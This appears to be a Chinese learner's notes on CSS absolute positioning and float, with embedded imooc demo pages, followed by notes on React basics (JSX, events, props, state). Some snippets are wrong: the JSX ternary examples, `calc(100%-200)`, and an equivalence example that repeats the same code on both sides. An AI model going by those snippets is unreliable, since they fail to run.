1 <!doctype html> 2 <html> 3 <head> 4 <meta charset="utf-8"> 5 <title>图标定位二三事</title> 6 <style> 7 body { font: 14px/1.4 "Microsoft YaHei"; background-color: #EDEFF0; } 8 body, h3, h5 { margin: 0; } 9 img { border: 0 none; vertical-align: bottom; } 10 .l { float: left; }.r { float: right; } 11 .constr { width: 1200px; margin-left: auto; margin-right: auto; } 12 .header { background-color: #2A2C2E; } 13 .nav { height: 60px; } 14 .nav-list { float: left; font-size: 14px; font-weight: 400; } 15 .nav-a { display: inline-block; line-height: 20px; padding: 20px 35px; color: #B5BDC0; text-decoration: none; } 16 .nav-a:hover { color: #fff; } 17 18 .course { padding-top: 10px; } 19 .course-list { float: left; width: 280px; height: 240px; margin: 5px 10px 15px; border-radius: 0 0 1px 1px; background-color: #F7FAF9; background-color: rgba(255,255,255,1); box-shadow: 0 1px 2px #c5c5c5; text-decoration: none; } 20 .course-list-img { background-color: #6396F1; } 21 .course-list-h { line-height: 50px; font-size: 14px; font-weight: 400; color: #363d40; text-align: center; } 22 .course-list-tips { margin: 0 14px; font-size: 12px; color: #b4bbbf; overflow: hidden; } 23 24 .icon-hot { position: absolute; width: 28px; height: 11px; margin: -6px 0 0 2px; background: url(http://img.mukewang.com/545304730001307300280011.gif); } 25 .icon-recom { position: absolute; line-height: 20px; padding: 0 5px; background-color: #f60; color: #fff; font-size: 12px; } 26 .icon-vip { position: absolute; width: 36px; height: 36px; margin-left: -36px; background: url(http://img.mukewang.com/5453048000015d8800360036.gif); text-indent: -9em; overflow: hidden; } 27 </style> 28 </head> 29 30 <body> 31 <div class="header"> 32 <div class="constr"> 33 <div class="nav"> 34 <h3 class="nav-list"> 35 <a href="http://www.imooc.com/course/list" class="nav-a">课程</a> 36 </h3> 37 <h3 class="nav-list"> 38 <a href="http://www.imooc.com/wenda" class="nav-a">问答</a> 39 </h3> 40 <h3 class="nav-list"> 41 <a href="http://www.imooc.com/seek/index" class="nav-a"> 42 求课<i class="icon-hot"></i> 43 </a> 44 </h3> 45 </div> 46 </div> 47 </div> 48 49 <div class="main"> 50 <div class="constr"> 51 <div class="course"> 52 <a href="http://www.imooc.com/view/121" class="course-list"> 53 <div class="course-list-img"> 54 <span class="icon-recom">推荐</span> 55 <img width="280" height="160" alt="分享:CSS深入理解之float浮动" src="http://img.mukewang.com/53d74f960001ae9d06000338-300-170.jpg"><!-- 56 --><i class="icon-vip">vip</i> 57 </div> 58 <h5 class="course-list-h">分享:CSS深入理解之float浮动</h5> 59 <div class="course-list-tips"> 60 <span class="l">已完结</span> 61 <span class="r">3514人学习</span> 62 </div> 63 </a> 64 </div> 65 </div> 66 </div> 67 </body> 68 </html>
下拉框
利用跟随特性
1 <!doctype html> 2 <html> 3 <head> 4 <meta charset="utf-8"> 5 <title>下拉框定位二三事</title> 6 <style> 7 body { margin: 0; font: 14px/1.4 "Microsoft YaHei"; background-color: #EDEFF0; } 8 .constr { width: 1200px; max-width: 80%; margin-left: auto; margin-right: auto; padding-bottom: 300px; overflow: hidden; } 9 .course-sidebar { width: 262px; float: left; } 10 .course-sidebar > div { border: 1px solid #e6e8e9; box-shadow: 0px 1px 2px #d5d7d8; background-color: #fff; } 11 .course-sidebar-type { height: 380px; } 12 .course-sidebar-search { margin-top: 20px; overflow: hidden; } 13 .course-search-input { width: 200px; line-height: 18px; padding: 10px; margin: 0; border: 0 none; font-size: 12px; font-family: inherit; float: left; } 14 .course-sidebar-search.focus { border-color: #2ea7e0; } 15 .course-search-input:focus { outline: 0 none; } 16 .course-search-input::-ms-clear { display: none; } 17 .course-search-btn { width: 38px; height: 38px; float: right; background: url(http://img.mukewang.com/545305ba0001f3f600380076.png); text-indent: -9em; overflow: hidden; } 18 .focus .course-search-btn { background-position: 0 -38px; } 19 20 .course-sidebar-result { display: none; position: absolute; width: 260px; margin: 39px 0 0 -1px; padding-left: 0; list-style-type: none; border: 1px solid #e6e8e9; background-color: #fff; box-shadow: 0px 1px 2px #d5d7d8; font-size: 12px; } 21 .course-sidebar-result > li { line-height: 30px; padding-left: 12px; } 22 .course-sidebar-result > li:hover { background-color: #f9f9f9; } 23 .course-sidebar-result a { display: block; color: #5e5e5e; text-decoration: none; } 24 .course-sidebar-result a:hover { color: #000; } 25 </style> 26 </head> 27 28 <body> 29 <div class="constr"> 30 <div class="course-sidebar"> 31 <div class="course-sidebar-type"></div> 32 <div class="course-sidebar-search"> 33 <ul id="result" class="course-sidebar-result"> 34 <li><a href="http://www.imooc.com/view/121">分享:CSS深入理解之float浮动</a></li> 35 <li><a href="http://www.imooc.com/view/118">案例:CSS圆角进化论</a></li> 36 <li><a href="http://www.imooc.com/view/93">案例:CSS Sprite雪碧图应用</a></li> 37 <li><a href="http://www.imooc.com/view/77">案例:CSS3 3D 特效</a></li> 38 <li><a href="http://www.imooc.com/view/57">案例:如何用CSS进行网页布局</a></li> 39 </ul> 40 <input class="course-search-input" placeholder="课程搜索"> 41 <a href="javascript:" class="course-search-btn">搜索</a> 42 </div> 43 </div> 44 </div> 45 <script> 46 (function() { 47 var input = document.getElementsByTagName("input")[0], 48 result = document.getElementById("result"); 49 50 if (input && result) { 51 input.onfocus = function() { 52 this.parentNode.className = "course-sidebar-search focus"; 53 if (this.value != "") { 54 // show datalist 55 result.style.display = "block"; 56 console.log('block'); 57 } 58 }; 59 input.onblur = function() { 60 if (this.value == "") { 61 this.parentNode.className = "course-sidebar-search"; 62 } 63 // hide datalist 64 result.style.display = "none"; 65 console.log('none') 66 }; 67 68 // IE7 that wrap a DIV for avoid bad effect from float 69 if (!document.querySelector) { 70 var div = document.createElement("div"); 71 input.parentNode.insertBefore(div, input); 72 div.appendChild(result); 73 } 74 // events of datalist 75 if ("oninput" in input) { 76 input.addEventListener("input", function() { 77 if (this.value.trim() != "") { 78 result.style.display = "block"; 79 } else { 80 result.style.display = "none"; 81 } 82 }); 83 } else { 84 // IE6-IE8 85 input.onpropertychange = function(event) { 86 event = event || window.event; 87 if (event.propertyName == "value" && /focus/.test(this.parentNode.className)) { 88 if (this.value != "") { 89 result.style.display = "block"; 90 } else { 91 result.style.display = "none"; 92 } 93 } 94 } 95 } 96 } 97 98 })(); 99 </script> 100 </body> 101 </html>
居中
实现图片居中:
1. text-align+无依赖的绝对定位元素
2. display: block ; margin: auto;
3. position: absolute; margin-left:(width)/2
4. translate-x:-50%
第一种实现方式居中(同样的方式可用于右侧选择栏)
<div class="course-loading-x"> <img src="http://img.mukewang.com/5453077400015bba00010001.gif" class="course-loading" alt="加载中..."> </div> css: .course-loading-x { height: 0; margin-top: 20px; text-align: center; letter-spacing: -.25em; overflow: hidden; } .course-loading { position: absolute; margin-left: -26px; }
星号对齐(与空格)
星号绝对定位
小图标对齐
无依赖的绝对定位+margin
溢出
超越外部尺寸限制
<label class="regist-label"> <span class="regist-star">*</span> 登录邮箱 </label> .regist-label { width: 70px; padding-top: 10px; float: left; } .regist-star { position: absolute; margin-left: -1em; font-family: simsun; color: #f30; }
1 <!doctype html> 2 <html> 3 <head> 4 <meta charset="utf-8"> 5 <title>文本图标对齐与定位二三事</title> 6 <style> 7 body { margin: 0; font: 14px/1.4 "Microsoft YaHei"; background-color: #EDEFF0; } 8 a { color: #50B6E5; } 9 .constr { width: 1200px; margin-left: auto; margin-right: auto; } 10 .regist-head { height: 60px; line-height: 60px; padding-left: 30px; background-color: #be3948; color: #fff; font-size: 18px; } 11 .regist-body { min-height: 400px; padding: 100px 0; background-color: #fff; } 12 .regist-main { width: 600px; margin-left: auto; margin-right: auto; } 13 .regist-group { margin-top: 20px; overflow: hidden; } 14 .regist-label { width: 70px; padding-top: 10px; float: left; } 15 .regist-cell { display: table-cell; *display: inline-block; } 16 .regist-input { height: 18px; line-height: 18px; width: 260px; padding: 10px 5px; margin: 0 10px 0 0; border: 1px solid #d0d6d9; vertical-align: top; } 17 .regist-code-input { width: 130px; } 18 .regist-btn { display: inline-block; width: 160px; line-height: 40px; background-color: #39b94e; color: #fff; text-align: center; text-decoration: none; } 19 .regist-btn:hover { background-color: #33a646; } 20 .icon-warn { display: inline-block; width: 20px; height: 21px; background: url(http://img.mukewang.com/5453084a00016ae300120012.gif) no-repeat center; } 21 22 .regist-star { position: absolute; margin-left: -1em; font-family: simsun; color: #f30; } 23 .regist-remark { position: absolute; line-height: 21px; padding-top: 9px; color: #666; } 24 .regist-warn { padding-left: 20px; color: #be3948; } 25 .regist-warn > .icon-warn { position: absolute; margin-left: -20px; } 26 </style> 27 </head> 28 29 <body> 30 <div class="constr"> 31 <div class="regist-head">注册</div> 32 <div class="regist-body"> 33 <div class="regist-main"> 34 <div class="regist-group"> 35 <label class="regist-label"><span class="regist-star">*</span>登录邮箱</label> 36 <div class="regist-cell"> 37 <input type="email" class="regist-input"><span class="regist-remark regist-warn"> 38 <i class="icon-warn"></i>邮箱格式不准确(演示) 39 </span> 40 </div> 41 </div> 42 <div class="regist-group"> 43 <label class="regist-label"><span class="regist-star">*</span>登录密码</label> 44 <div class="regist-cell"> 45 <input type="password" class="regist-input"><span class="regist-remark"> 46 请输入6-16位密码,区分大小写,不能使用空格 47 </span> 48 </div> 49 </div> 50 <div class="regist-group"> 51 <label class="regist-label"><span class="regist-star">*</span>用户昵称</label> 52 <div class="regist-cell"> 53 <input type="password" class="regist-input"> 54 </div> 55 </div> 56 <div class="regist-group"> 57 <label class="regist-label">手机号码</label> 58 <div class="regist-cell"> 59 <input type="tel" class="regist-input"> 60 </div> 61 </div> 62 <div class="regist-group"> 63 <label class="regist-label"><span class="regist-star">*</span>验 证 码</label> 64 <div class="regist-cell"> 65 <input class="regist-input regist-code-input"><img src="http://img.mukewang.com/545308540001678401500040.jpg"> 66 </div> 67 </div> 68 <div class="regist-group"> 69 <label class="regist-label"> </label> 70 <div class="regist-cell"> 71 <input type="checkbox" checked><label>我已阅读并同意<a href="##">慕课协议</a>。</label> 72 <p> 73 <a href="javascript:" class="regist-btn">立即注册</a> 74 </p> 75 </div> 76 </div> 77 </div> 78 </div> 79 </div> 80 </body> 81 </html>
5)脱离文档流
垂直空间的层级
后来居上(准则)
z-index潜在误区
绝对定位元素都需要z-index控制层级,确定其显示的垂直位置
1.如果只有一个绝对定位元素,自然不需要z-index,自动覆盖普通元素;
2.如果两个绝对定位,控制DOM流的前后顺序达到需要的覆盖效果,依然无z-index;
3.如果多个绝对定位交错,非常非常少见,z-index:1控制;
4.如果非弹窗类的绝对定位元素z-index>2,必定z-index冗余,请优化!
备注:动画尽量作用在 绝对定位的元素上。
6)基本属性(天使的翅膀)
top/left/bottom/right
定位
一般组合使用:top+left/bottom+right
7)基本属性与width/height
相互替代性
绝对定位对立:left+right/top+bottom ————拉伸效果
positon:absolute; left:0; top:0; width:50%; =====等同于======== position:absolute; left:0; top:0; width:50%;
差异——拉伸更强大
如:实现一个距离右侧200px全屏自适应容器层
---------------拉伸-------------- position: absolute; left: 0; right: 200px; ---------------width------------- position: absolute; left:0; width:calc(100%-200);
相互支持性
1. 容器无需固定width/height值,内部元素亦可拉伸
css驱动的左右半区翻图浏览效果
2. 容器拉伸,内部元素支持百分比width/height值
通常情况:
元素百分比height要起作用,需要父级容器的height值不是auto
绝对定位拉伸下:
即使父级容器的height值是auto,只要容器绝对定位拉伸形成,百分比高度值也是支持的
相互合作性
如果拉伸和width/height同时存在
则:width/height设置的尺寸 > left/top/right/bottom 拉伸的尺寸
当:尺寸限制,拉伸及margin:auto同时出现————绝对定位元素的绝对居中效果(IE8+)
8)absolute网页整体布局
摆脱狭隘的定位
1. body降级,子元素升级
//升级的子div设置为满屏 .page{ position: absolute; left:0; top: 0;right: 0;bottom: 0 } //绝对定位受限于父级,因此,page要想拉伸,则需要 html, body{ height: 100%; }
2. 各模块-头尾、侧边栏(pc端)各居其位
header,footer{ position: absolute; left: 0; right: 0; } header {height: 50px; top:0; } footer {height: 50px; bottom: 0; } side{ width: 250px; position: absolute; left: 0; top:50px; bottom:50px; }
3. 内容区域想象成body
.content{position: absolute; top: 50px; bottom:50px;left:250px; overflow:auto}
这时: 头尾及侧边栏都是fixed效果,不跟随滚动,避免了移动端position:fixed实现的诸多问题
4. 全屏覆盖与page平级
.overlay{ position: absolute; top: 0;right:0;bottom:0;left:0; z-index:900; } <div class="page"></div> <div class="overlay"></div>
完整实例
1 <!doctype html> 2 <html> 3 <head> 4 <meta charset="utf-8"> 5 <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no"> 6 <title>慕课网-绝对定位整页布局演示</title> 7 <link rel="stylesheet" href="css/absolute-layout.css"> 8 <style> 9 body { font-family: 'microsoft yahei'; } 10 </style> 11 </head> 12 13 <body> 14 <div class="page"> 15 <div class="header"> 16 <h1>慕课网</h1> 17 <a href="javascript:" class="icon-add">添加</a> 18 <a href="javascript:" class="icon-search">搜索</a> 19 </div> 20 <div class="content"> 21 <div class=""> 22 <a href="http://www.imooc.com/learn/192" class="wechat-list"> 23 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg"> 24 <div class="cell"> 25 <div class="wechat-h-time"><h5>张鑫旭</h5><time>早上09:51</time></div> 26 <p>CSS深入理解值绝对定位</p> 27 </div> 28 </a> 29 <a href="http://www.imooc.com/learn/192" class="wechat-list"> 30 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg"> 31 <div class="cell"> 32 <div class="wechat-h-time"><h5>张鑫旭</h5><time>早上09:38</time></div> 33 <p>如果高度不够,可以手动缩小浏览器高度</p> 34 </div> 35 </a> 36 <a href="http://www.imooc.com/learn/192" class="wechat-list"> 37 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg"> 38 <div class="cell"> 39 <div class="wechat-h-time"><h5>张鑫旭</h5><time>早上08:47</time></div> 40 <p>此demo是本系列最后一个demo</p> 41 </div> 42 </a> 43 <a href="http://www.imooc.com/learn/192" class="wechat-list"> 44 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg"> 45 <div class="cell"> 46 <div class="wechat-h-time"><h5>张鑫旭</h5><time>早上08:36</time></div> 47 <p>此demo需要在高级浏览器中查看</p> 48 </div> 49 </a> 50 <a href="http://www.imooc.com/learn/192" class="wechat-list"> 51 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg"> 52 <div class="cell"> 53 <div class="wechat-h-time"><h5>张鑫旭</h5><time>昨天</time></div> 54 <p>重在原理展示,结构可多变。例如,header放在page外面~~</p> 55 </div> 56 </a> 57 <a href="https://github.com/zhangxinxu/mobilebone" class="wechat-list"> 58 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg"> 59 <div class="cell"> 60 <div class="wechat-h-time"><h5>张鑫旭</h5><time>昨天</time></div> 61 <p>最近鄙人整了个名叫Mobilebone的开源项目</p> 62 </div> 63 </a> 64 <a href="https://github.com/zhangxinxu/mobilebone" class="wechat-list"> 65 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg"> 66 <div class="cell"> 67 <div class="wechat-h-time"><h5>张鑫旭</h5><time>星期三</time></div> 68 <p>就是依赖绝对定位整体布局,大家可以前去围观</p> 69 </div> 70 </a> 71 <a href="http://www.imooc.com/learn/192" class="wechat-list"> 72 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg"> 73 <div class="cell"> 74 <div class="wechat-h-time"><h5 class="business">慕课网</h5><time>星期三</time></div> 75 <p><img src="http://img.mukewang.com/547d33a00001299b00320033.jpg" width="16" height="16"></p> 76 </div> 77 </a> 78 <a href="http://www.imooc.com/learn/121" class="wechat-list"> 79 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg"> 80 <div class="cell"> 81 <div class="wechat-h-time"><h5>张鑫旭</h5><time>星期三</time></div> 82 <p>CSS深入理解之浮动</p> 83 </div> 84 </a> 85 <a href="http://www.imooc.com/learn/121" class="wechat-list"> 86 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg"> 87 <div class="cell"> 88 <div class="wechat-h-time"><h5>张鑫旭</h5><time>上周</time></div> 89 <p>同样精彩,欢迎支持~</p> 90 </div> 91 </a> 92 </div> 93 </div> 94 95 <div class="footer"> 96 <a href="http://www.imooc.com/course/list"> 97 <i class="icon-wechat"></i>课程 98 </a> 99 <a href="http://www.imooc.com/wenda"> 100 <i class="icon-contacts"></i>问答 101 </a> 102 <a href="http://www.imooc.com/seek/index"> 103 <i class="icon-finds"></i>求课 104 </a> 105 <a href="http://www.imooc.com/space/course" class="active"> 106 <i class="icon-mes"></i>我的课程 107 </a> 108 </div> 109 </div> 110 </body> 111 </html>
1 /* wechat.css */ 2 body { 3 margin: 0; 4 -webkit-user-select: none; 5 user-select: none; 6 -ms-touch-action: none; 7 } 8 9 /* construction */ 10 html, body, .page { 11 height: 100%; width: 100%; 12 overflow: hidden; 13 } 14 .page { 15 position: absolute; left: 0; top: 0; 16 } 17 body { background-color: #ebebeb; font-family: "Helvetica Neue", Helvetica, STHeiTi, sans-serif; } 18 a { text-decoration: none; -webkit-tap-highlight-color: rgba(0,0,0,0); } 19 h1,h2,h3,h4,h5,h6{ margin: 0; font-weight: 400; } 20 ul,ol{ margin: 0; list-style-type: none; } 21 22 .header, .footer, .content { position: absolute; left: 0; right: 0; } 23 .header { height: 48px; padding: 0 5px; background-color: #21292B; color: #fff; top: 0; z-index: 1; } 24 .header > h1 { line-height: 48px; margin: 0 0 0 10px; font-size: 18px; float: left; } 25 .header > a { display: inline-block; width: 48px; height: 48px; background-size: 48px 144px; text-indent: -9em; overflow: hidden; } 26 .header > .icon-search, .header > .icon-add { float: right; } 27 .footer { height: 52px; border-top: 1px solid #dfdfdf; background-color: #fcfcfc; bottom: 0; z-index: 1; } 28 .footer > a { width: 25%; text-align: center; color: #999; float: left; font-size: 14px; } 29 .footer > a > i { display: block; height: 35px; margin-bottom: -3px; background-size: 35px 280px; } 30 .footer > .active { color: #45c018; } 31 .content { top: 48px; bottom: 53px; overflow: auto; } 32 33 .icon-search, .icon-back, .icon-add { background: url(http://img.mukewang.com/547d339b000188bb00960288.png) no-repeat; } 34 .icon-back { background-position: 0 -96px; } 35 .icon-add { background-position: 0 -48px; } 36 .icon-wechat, .icon-contacts, .icon-finds, .icon-mes { background: url(http://img.mukewang.com/547d33970001444d00700560.png) no-repeat center top; } 37 .active .icon-wechat { background-position: center -35px; } 38 .icon-contacts { background-position: center -70px; } 39 .active .icon-contacts { background-position: center -105px; } 40 .icon-finds { background-position: center -140px; } 41 .active .icon-finds { background-position: center -175px; } 42 .icon-mes { background-position: center -210px; } 43 .active .icon-mes { background-position: center -245px; } 44 .icon-find { background: url(icon-find.png) no-repeat; background-size: 28px 210px; } 45 .icon-find-2 { background-position: 0 -30px; } 46 .icon-find-3 { background-position: 0 -60px; } 47 .icon-find-4 { background-position: 0 -90px; } 48 .icon-find-5 { background-position: 0 -120px; } 49 .icon-find-6 { background-position: 0 -150px; } 50 .icon-find-7 { background-position: 0 -180px; } 51 .icon-me { background: url(icon-me.png) no-repeat; background-size: 28px 120px; } 52 .icon-me-2 { background-position: 0 -30px; } 53 .icon-me-3 { background-position: 0 -60px; } 54 .icon-me-4 { background-position: 0 -90px; } 55 56 57 .wechat-list { display: block; height: 64px; padding: 8px 12px; box-sizing: border-box; border-bottom: 1px solid #d7d7d7; background-color: #fff; } 58 .wechat-list:last-child { border-bottom: 0; } 59 .wechat-list > img { width: 48px; height: 48px; float: left; } 60 .wechat-list > .cell { padding-left: 58px; line-height: 24px; color: #333; } 61 .wechat-h-time { overflow: hidden; } 62 .wechat-h-time > h5 { font-size: 100%; float: left; } 63 .wechat-h-time > time { font-size: 12px; color: #b9b9b9; float: right; } 64 .wechat-h-time .business { color: #54688D; } 65 .wechat-h-time + p { margin: 0 20px 0 0; font-size: 14px; color: #a8a8a8; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } 66 .wechat-detail { position: relative; z-index: 1; }
三、float
1)float的设计初衷仅仅是: 文字环绕效果
包裹与破坏
使父元素塌陷
- clear
- BFC/haslayout
.clearfix:after{content:'';display:table;clear:both;} .clearfix{*zoom:1;}
clearfix只需要用在包含浮动子元素的父级元素上
两种方式:
1 <!doctype html> 2 <html> 3 <head> 4 <meta charset="utf-8"> 5 <title>clear与margin重叠</title> 6 </head> 7 8 <body> 9 1. 10 <div style=""> 11 <img src="http://img.mukewang.com/53d60af3000171a002560191.jpg" style="float:left;"> 12 <div style="clear:both; margin-bottom:100px;">clear:both;</div> 13 </div> 14 <div style="margin-top: 100px;">本文字离图片的距离是?</div> 15 <br><br><br><br>2. 16 <div style=" overflow: hidden;"> 17 <img src="http://img.mukewang.com/53d60af3000171a002560191.jpg" style="float:left; margin-bottom: 100px;"> 18 </div> 19 <div style="margin-top: 100px;">本文字离图片的距离是?</div> 20 </body> 21 </html>
清除浮动有两种方法:
1、用clear清除浮动:浮动元素底部加入 <div> + clear:both 样式; 会发生margin重叠显现。
原因:外部元素会对内部元素产生影响,图片的bottom是针对下一个div的上部为标准,所以上移100px,而发生重叠。
2、用BFC清除浮动:浮动元素的父元素 + overflow:hidden 样式; 父元素会将整个元素包裹起来,从而不会出现塌陷和重叠显现。
原因:内部元素被包裹起来不会受到干扰,图片的bottom就是父元素的bottom,所以上移100px;
2)浮动的滥用
砌砖布局
1. 容错性比较糟糕,容易出问题
2. 这种布局需要元素固定尺寸,很难重复使用
3. 低版本ie下有很多问题
3)浮动与流动布局
1. 单侧固定
width+ float
padding-left/margin-left
2. 智能自适应
float
display: table-cell ie8+
display: inline-block ie7
4) 兼容
ie7
react小结
react基础小结
1. 例子
import React from 'react' import { render } from 'react-dom' // 定义组件 class Hello extends React.Component { render() { // return 里面写jsx语法 return ( <p>hello world</p> ) } } // 渲染组件到页面 render( <Hello/>, document.getElementById('root') )
import React from 'react'这里的react对应的是./package.json
文件中dependencies
中的'react'
,即在该目录下用npm install
安装的 react 。npm 安装的 react 的物理文件是存放在./node_modules/react
中的,因此引用的东西肯定就在这个文件夹里面。./node_modules/react/package.json
中的"main": "react.js",
,这里的main
即指定了入口文件,即./node_modules/react/react.js
这个文件 2. jsx语法1)使用一个父节点包裹jsx中不能一次性返回零散的多个节点,如果有多个则包含到一个节点中如:
return ( <div> <p>段落1</p> <p>段落2</p> <p>段落3</p> </div> )
3. 注释jsx中用{/**/}的注释形式如:
return( //jsx外的注释 <div> {/*jsx里面的注释*/} <p>hello</p> </div> )
4. 样式
css样式:
<p className="class1">hello</p> <!--用className代替class*/
内联样式:
<p style={{color:'red',fontSize:'20px'}}>hello</p> <!--注意{{}},和驼峰写法-->
5. 事件
如:click
class Hello extends React.Component{ render(){ return ( <p onClick={this.clickHandler.bind(this)}>hello</p> ) } clickHandler(event){ console.log('yes') } }
注意:onClick驼峰写法
6. 循环
7. 判断
jsx中一般会用到三元表达式(表达式也是放在{}中的)
如:
return( <div> <p>段落1</p> { true ? <p> true </p> : <p> false </p> </div> } </div> )
也可以这样使用:
<p style={{display: true? 'block' ? 'none'}}> hello world</p>
8. 数据传递&数据变化
1) props
如果
<Header title="Hello页面"/>
在Header组件中可以这样取到
render(){ return( <p>{this.props.title}</p> ) }
在react中,父组件给子组件传递数据时,就是以上的方式,通过给子组件设置props,子组件获取props中的值便可完成数据传递。
2)props&state
如果组件内部自身的属性发生变化
class Hello extends React.Component{ constructor(props,context){ super(props,context); this.state={ //显示当前时间 now:Date.now() } } render(){ return( <div> <p>hello world {this.state.now}</p> </div> ) } }
react会实时监听每个组件的props和state值,一旦有变化,会立刻更新组件,将结果重新渲染到页面上
var LikeButton = React.createClass({ getInitialState: function (){ return {liked : false}; }, handleClick: function (event) { this.setState({liked: !this.state.liked}); }, render: function(){ var text = this.state.liked ? 'like' : 'haven\'t liked'; return ( <p onClick={this.handleClick}> you {text} this click to toggle </p> ); } });
3)智能组件&木偶组件